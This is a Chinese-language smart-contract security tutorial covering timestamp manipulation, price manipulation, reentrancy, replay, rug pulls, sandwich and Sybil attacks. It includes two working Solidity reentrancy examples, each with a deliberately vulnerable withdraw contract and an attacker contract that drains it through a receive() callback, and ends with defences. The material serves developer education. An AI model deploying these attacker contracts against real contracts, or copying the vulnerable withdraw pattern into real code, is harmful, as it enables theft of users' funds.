漏洞分析

矿工可以验证交易并将它添加到区块链中,操纵哈希或者时时间戳等区块属性来影响合约的执行或结果

举例

是否明智使用了block.timestamp,尤其是对于较长的间隔,block.timestamp可以被矿工再很小的程度上操纵,影刺依赖它进行计算时可能会有风险

价格操控攻击

漏洞分析

攻击者故意改变去中心化交易所的资产价格,通常是为了依赖利用合约或者交易

举例

如果价格或资产之间的汇率是从余额比率得出的,则可以对其进行操纵。闪电贷和捐赠是众所周知的用于操纵价格的攻击媒介。

重入攻击

重入攻击是一种针对智能合约的安全漏洞,攻击者利用合约在执行期间的状态不一致性,通过多次调用合约的某个函数,从而导致资金或数据的异常损失。下面将详细细分重入攻击的类型,并通过具体示例进行说明。

单个合约重入攻击

漏洞描述:

攻击者利用合约中的漏洞,在同一合约内重复调用函数,导致状态不一致或资金损失。

举例:

某个合约允许用户提取资金,攻击者利用重入漏洞在提现过程中多次调用提现函数,导致超过账户余额的提取。

跨合约重入攻击

漏洞描述:

攻击者首先调用一个合约的函数,该函数再调用另一个合约的函数,然后再通过回调再次调用原合约,造成多次执行。

举例:

攻击者首先通过一个合约调用一个函数,该函数在执行时又调用了另一个合约的提现功能,再通过该合约的回调再次执行提取。

可重入合约

漏洞描述:

攻击者能够利用合约在执行期间保持的状态,通过合约中的逻辑漏洞进行多次操作。

举例:

某合约在处理资金转移时未能正确更新余额,导致攻击者能够多次调用并提取资金。

不可重入合约

漏洞描述:

设计上防止重入,但可能由于外部合约的逻辑漏洞而被攻击。

举例:

如果合约调用了不安全的外部合约,而该外部合约的逻辑存在重入漏洞,依然可能导致攻击。

  1. 重入攻击示例
    2.1 单合约重入攻击示例
    pragma solidity ^0.8.0;

    contract Vulnerable {
    mapping(address => uint) public balances;

    function deposit() public payable {
    balances[msg.sender] += msg.value;
    }

    function withdraw(uint amount) public {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    // 调用外部合约
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");

    // 更新余额
    balances[msg.sender] -= amount;
    }
    }
    攻击者合约:
    pragma solidity ^0.8.0;

    contract Attacker {
    Vulnerable public vulnerable;

    constructor(address _vulnerable) {
    vulnerable = Vulnerable(_vulnerable);
    }

    function attack() public payable {
    require(msg.value >= 1 ether);
    vulnerable.deposit{value: msg.value}();
    vulnerable.withdraw(1 ether); // 初次提现
    }

    // 回调函数
    receive() external payable {
    if (address(vulnerable).balance >= 1 ether) {
    vulnerable.withdraw(1 ether); // 继续重入
    }
    }
    }
    攻击过程:

19.攻击者先存入 1 Ether,然后调用 withdraw 函数进行提取。
20.在提取过程中,由于未更新余额,攻击者的回调函数 receive 被触发。
21.该函数再次调用 withdraw 函数,从而继续提取资金,导致合约资金损失。

2.2 跨合约重入攻击示例

pragma solidity ^0.8.0;

contract Target {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount; // 更新余额
}
}
contract Attacker {
Target public target;

constructor(address _target) {
target = Target(_target);
}

function attack() public payable {
require(msg.value >= 1 ether);
target.deposit{value: msg.value}();
target.withdraw(1 ether); // 开始攻击
}

receive() external payable {
if (address(target).balance >= 1 ether) {
target.withdraw(1 ether); // 重入攻击
}
}
}

攻击过程:

22.攻击者向目标合约存入资金并调用 withdraw。
23.当目标合约尝试将 Ether 转给攻击者时,回调 receive 被触发,攻击者再次调用 withdraw。
24.这一过程持续进行,直到合约资金耗尽。

  1. 防范重入攻击的方法

25.检查-效果-交互模式:在进行外部调用之前,首先更新合约状态。
26.使用重入锁:在合约中设置状态变量以防止重入。
27.使用安全库:借助如 OpenZeppelin 这样的经过审计的智能合约库,避免已知漏洞。
28.限制外部调用:尽量减少合约对外部合约的调用次数和频率。

总结
重入攻击是一种常见且严重的安全漏洞,开发者必须在设计和实现智能合约时采取适当的安全措施,以防止此类攻击。理解重入攻击的细分类型和具体示例可以帮助开发者更好地识别和修复潜在的安全漏洞。

重放攻击

对于失败事务的重放攻击

漏洞描述

一个初始交易失败了,如果没有防护机制,而攻击者又通过网络监听工具捕获到了这个失败的交易数据包,那么攻击者就可以重新发送这个交易,造成资金的重复扣除,或者资金的重复转移

不同链上的签名重放

漏洞描述

在一条链上的有效签名可能会在另一条链上重放

举例

1,相同地址在不同链上
假设用户 A 在以太坊链(Ethereum)和以太坊经典链(Ethereum Classic)上使用相同的地址(公钥)。如果用户 A 在以太坊上发起了一笔交易并签名:
a,攻击者可以捕获这个交易,然后在以太坊经典链上重放这个交易。
b,由于这两个链都使用了相似的地址格式,攻击者可以成功地在以太坊经典链上转移用户 A 的资产。

2,跨链重放攻击
一些链可能会使用类似的交易格式。如果链 A 和链 B 都是以太坊虚拟机(EVM)兼容链:
a,用户 A 在链 A 上发送了一笔交易。
b,攻击者可以把同样的交易信息(包括签名)提交到链 B。
c,如果链 B 不进行链 ID 或其他唯一标识的检查,攻击者可能成功重放交易。

地毯拉力

地毯拉力攻击是一种特定的欺诈行为,主要发生在去中心化金融(DeFi)和其他基于区块链的应用中。这种攻击通常涉及一个恶意开发者或团队创建一个看似合法的项目,吸引用户投资或提供流动性,但最终他们会通过某种方式迅速撤回资金,导致投资者损失惨重。

漏洞描述

1.假冒项目:攻击者通常创建一个新的加密货币或去中心化应用,宣传其潜在收益,吸引投资者参与。
2.流动性撤回:一旦足够多的用户投资或提供流动性,攻击者会撤回流动性池中的所有资产,导致代币价值暴跌。
3.信任利用:这种攻击往往利用了用户对去中心化金融项目的信任,尤其是新项目往往缺乏足够的透明度和审计。
4.快速撤资:攻击者会迅速转换为稳定币或其他更稳定的资产,以避免价格波动对他们资金的影响。

举例

1,DeFi项目:一些新兴的DeFi项目可能会在短时间内吸引大量资金,攻击者会通过在社交媒体上制造热度来吸引投资者。投资者在没有进行充分尽职调查的情况下,盲目跟风投资,最终遭受损失。
2,代币发行:攻击者发布一个新代币,并在上线初期表现良好,随后在价格上涨时抛售持有的代币,导致代币价格暴跌。

三明治攻击

漏洞描述

攻击者可以监控内存池,并在用户交易之前和之后放置两个交易。

举例

当攻击者发现一笔大额交易时,首先执行自己的交易以操纵价格,然后在用户的交易执行后通过平仓来获利

女巫攻击

漏洞描述

攻击者通过控制多个账户或者利用多个交易来操纵市场或者影响特定的智能合约行为

举例

假设某个用户在去中心化交易所上进行大额交易,导致某个代币的价格上涨。
1,攻击者监控市场:攻击者监控到用户的交易,并预测价格将上涨。
2,创建假需求:攻击者在多个账户中同时下单购买该代币,进一步推高价格。
3,获利抛售:一旦价格达到一个理想的水平,攻击者便在合适的时机抛售手中的代币,获得差价收益。